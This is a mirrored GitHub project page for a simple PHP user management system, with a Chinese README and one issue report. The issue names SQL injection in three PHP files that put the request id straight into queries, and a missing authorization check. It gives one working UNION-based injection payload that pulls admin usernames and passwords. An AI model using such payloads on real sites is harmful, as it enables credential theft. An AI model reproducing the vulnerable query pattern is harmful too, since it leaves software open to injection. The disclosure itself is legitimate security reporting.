Code Monkey home page Code Monkey logo

member's Introduction

php简单的多用户管理系统

需要环境支持pdo Gd库

使用之前先新建数据库 然后导入 根目录下的 data.sql

数据库配置文件 config/config.inc.php

后台登陆地址 网址/admin.php

用户登陆地址 网址/index.php

后台功能 对用户的 修改 查看 删除 功能

前台功能 用户注册 用户登陆 积分签到 积分消费 签到记录 消费记录 资料修改

构建 完美分页类 inclode/page.class.php 构建 验证码类 inclode/vcode.class.php

member's People

Contributors

chaodada avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Forkers

liwuqi loyolove imyoursskr jsyzjhj xiaozouzyk1 aike1027

member's Issues

SQL注入和越权

SQL注入

member/user/xiu_user.php

Line 27 in a592a60

$sql = "select id,username,password,integral,sex,email from u_users WHERE 1=1 and id={$_GET['id']} ";

member/user/qian_user.php

Line 29 in a592a60

$sql = "select id,integral from u_users WHERE 1=1 and id={$_GET['id']} ";

member/user/xiao_user.php

Line 32 in a592a60

$sql = "select id,integral from u_users WHERE 1=1 and id={$_GET['id']} ";

拿xiu_user.php举例
payload

xiu_user.php?id=-37 union select 1,2,group_concat(username,0x2a,password,0x20,mpw),4,5,6 from memsystem.u_admin %23

qq 20181203141435
qq 20181203141613

越权

xiu_user.php没有对用户身份进行校验 导致更改ID即可查看、更改任意用户信息

拿去做靶场了 希望作者不要介意 :)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.